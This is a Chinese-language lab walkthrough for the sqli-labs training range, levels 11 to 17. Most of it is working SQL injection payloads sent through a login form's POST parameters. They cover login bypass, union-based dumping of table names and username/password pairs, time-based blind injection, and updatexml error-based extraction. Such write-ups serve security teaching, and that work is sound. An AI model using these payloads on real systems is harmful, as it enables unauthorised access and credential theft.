sqli-labs靶场11-17
参考crow: https://github.com/crow821/crowsec
Less-11
- POST内容: uname=’ & passwd=1&submit=Submit 返回的结果显示你存在sql语法错误,证明存在注入漏洞。或这是直接在username中填写’,password中随便写判断一下是否存在注入漏洞。
- 直接在username中填写 admin’ or 1=1#(此处不能使用–+,因为–+主要使用在url中,#是适用的)即:
1 | uname=a' or 1=1 #& passwd=a &submit=Submit |
此时登录成功,可以验证存在注入漏洞。
3. 此时在password位置进行验证:
1 | uname=a&passwd=a' or 1=1# &submit=Submit |
登录成功,开始构造!
- 同样可以进行判断,最后得出一共有两列。
1 | uname=a' order by 3#&passwd=a &submit=Submit |
或者是使用
1 | uname=a&passwd=a' order by 2# &submit=Submit |
5.
1 | uname=a&passwd=a' union select database(),2 # &submit=Submit |
查询到当前的数据库为security,或者是使用:
1 | uname=a' union select database(),2 # &passwd=a&submit=Submit |
均可以查询到当前的数据库,当然也可以查询其它信息。
6.
1 | uname=a' union select 1,(select schema_name from information_schema.schemata limit 1,1) # &passwd=a&submit=Submit |
可以查询到当前的第一个数据库,或者是使用命令:
1 | uname=a' union select 1,(select group_concat(schema_name) from information_schema.schemata) # &passwd=a&submit=Submit |
可以得到所有的数据库。
7.
1 | uname=a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479) # &passwd=a&submit=Submit |
可以得到security数据库中的所有的表信息
8.
1 | uname=a' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273) # &passwd=a&submit=Submit |
通过users表获得里面的列值:id,username,password
9.
1 | uname=a' union select 1, group_concat(concat_ws('~',username,password)) from security.users # &passwd=a&submit=Submit |
此时就可以得到里面所有的数据。
Less-12
以下均为POST内容:
首先进行尝试:此时只是显示登陆失败,没有其他的回显,将’换为”
1
uname=admin' &passwd=a&submit=Submit
此时有回显,显示有报错信息,通过报错信息,我们知道如何进行构造:’)
1
uname=admin" &passwd=a&submit=Submit
此时构造成功之后,显示登陆成功。接下来的和less-11相同。
1
uname=admin") or 1=1# &passwd=a&submit=Submit
通过order by语句得到一共有两列。
1
uname=admin") order by 3# &passwd=a&submit=Submit
查询到当前的数据库为security
1
uname=a&passwd=a") union select database(),2 # &submit=Submit
或者是使用:
1
uname=a") union select database(),2 # &passwd=a&submit=Submit
均可以查询到当前的数据库,当然也可以查询其它信息。
可以查询到当前的第一个数据库,
1
uname=a") union select 1,(select schema_name from information_schema.schemata limit 1,1) # &passwd=a&submit=Submit
或者是使用命令:
1
uname=a") union select 1,(select group_concat(schema_name) from information_schema.schemata) # &passwd=a&submit=Submit
可以得到所有的数据库。
可以得到security数据库中的所有的表信息
1
uname=a") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479) # &passwd=a&submit=Submit
通过users表获得里面的列值:id,username,password
1
uname=a") union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273) # &passwd=a&submit=Submit
此时就可以得到里面所有的数据。 0x7e代表的就是 ~
1
uname=a") union select 1, group_concat(concat_ws(0x7e,username,password)) from security.users # &passwd=a&submit=Submit
Less-13
以下均为POST内容:
此时只是显示登陆成功,但是不会显示其他的信息。
1
uname=admin &passwd=admin&submit=Submit
直接通过报错信息知道了如何构造 构造:1’) or 1=1#
1
uname=' &passwd=a&submit=Submit
此时只是显示登陆成功,但是不会显示其他信息,考虑盲注。
1
uname=admin') order by 2# &passwd=admin&submit=Submit
此时可以得到数据库的长度是8.
1
uname=admin') or if(length(database())=8,1,sleep(5))# &passwd=admin&submit=Submit
使用or和left()来判断第一个字母是多少(注意的是这里不是使用and)
1
uname=admin&passwd=ain') or left(database(),1)>'a'#&submit=Submit
通过这样一个个进行判断即可!
1
uname=admin&passwd=ain') or left(database(),2)='se'#&submit=Submit
或者是使用这种方法也是可以判断的。
1
uname=admin&passwd=ain') or left((select schema_name from information_schema.schemata limit 0,1),1)>'a'#&submit=Submit
查表,也可使用burpsuite进行辅助测试
1
uname=admin&passwd=ain') or left((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1)='e'#&submit=Submit
Less-14
1
2
3
41. uname=admin&passwd=a"&submit=Submit 构造:" or 1=1#
2. uname=admin&passwd=a" order by 10#sub&mit=Submit 判断一共有多少列
3. uname=admin&passwd=a" or if(length(database())=8,1,sleep(5))# #&submit=Submit 使用和less-13同样的方法进行判断
* 注意and和or的用法Less-15
1
2
3
4
5
61. uname=admin&passwd=a"&submit=Submit 构造:1' or 1=1# 在这里判断列数没有实际意义了
2. uname=adminadmin&passwd=admiand' or if(length(database())>1000,1,sleep(5))#&submit=Submit通过这个来判断其长度
3. uname=adminadmin&passwd=admiand' or if(length()>1000,1,sleep(5))#&submit=Submit
4. uname=adminadmin&passwd=admiand' or left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)>'a'#&submit=Submit 使用和less-13相同的方法进行判断,就可以判断出当前security库的第一个表的第一个字母是否大于a
5. uname=adminadmin&passwd=admiand' or left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)>'g'#&submit=Submit 通过同样的方法可以判断users表中的字段数据是否大于g
6. uname=adminadmin&passwd=admiand' or left((select username from security.users limit 0,1),1)> 'a'#&submit=Submit通过这个来判断security.users下的username下第一个字段的第一位,在这里不能直接使用select username,password来一起查询,需要一个个进行查询Less-16
1
2
3
4
5
61. uname = admin&passwd=a" & submit=Submit 构造:1") or 1=1# 在这里判断列数没有实际意义了,和less-15相同
2. uname = adminadmin&passwd=admiand") or if(length(database())>1,1,sleep(5))#&submit=Submit通过这个来判断其长度
3. uname=adminadmin&passwd=admiand") or if(length()>1000,1,sleep(5))#&submit=Submit
4. uname=adminadmin&passwd=admiand") or left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)>'a'#&submit=Submit 使用和less-13相同的方法进行判断,就可以判断出当前security库的第一个表的第一个字母是否大于a
5. uname=adminadmin&passwd=admiand") or left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)>'g'#&submit=Submit 通过同样的方法可以判断users表中的字段数据是否大于g
6. uname=adminadmin&passwd=admiand") or left((select username from security.users limit 0,1),1)> 'a'#&submit=Submit通过这个来判断security.users下的username下第一个字段的第一位,在这里不能直接使用select username,password来一起查询,需要一个个进行查询报错注入
- 报错注入常用的三种注入方式(flool ,extractvalue、updatexml)
- floor()报错注入是利用count()、rand()、floor()、group by 这几个特定的函数结合在一起产生的注入漏洞,准确的说是floor,count,group by冲突报错。
- 原理:updatexml()函数实际上是去更新了XML文档,但是我们在xml文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候它其实已经执行了那个子查询代码。
- extractvalue(xml_document,xpath_string)
第一个参数:XML_document是 String 格式,为XMIL文档对象的名称。
第二个参数:XPath_string (Xpath格式的字符串)。
作用: 从目标XML中返回包含所查询值的字符串。
ps: 返回结果限制在32位字符。
报错原理:利用数据库表主键不能重复的原理,使用GROUP BY分组,产生主键冗余,导致报错。
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
而我们的注入语句为:
select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1);
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出
ERROR 1105 (HY000): XPATH syntax error: ‘Dumb‘
Less-17
首先我们要知道用户的名字是多少,然后才可以进行接下来的操作
- 通过查询,可以得到security库下面的其中一个表名字
1
uname=admin&passwd=adm ' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)#&submit=Submit
- 同样的方法可以获得其他的数据
1
uname=admin&passwd=adm ' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1)#&submit=Submit
select * from (select group_concat(concat_ws(‘~’,username,password)) from security.users) a1
2
3
4
5
6
7
8
9
10uname=admin&passwd=afafa'#&submit=Submit
select updatexml(1,concat(0x7e,(database())),1);
select updatexml(1,concat(0x7e,(构造语句)),1);
构造语句:
查库: select schema_name from information_schema.schemata;
查表: select table_name from information_schema.tables where table_schema='security';
查列: select column_name from information_schema.columns where table_name='users';
查字段: select username,password from security.users;
and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security')),1)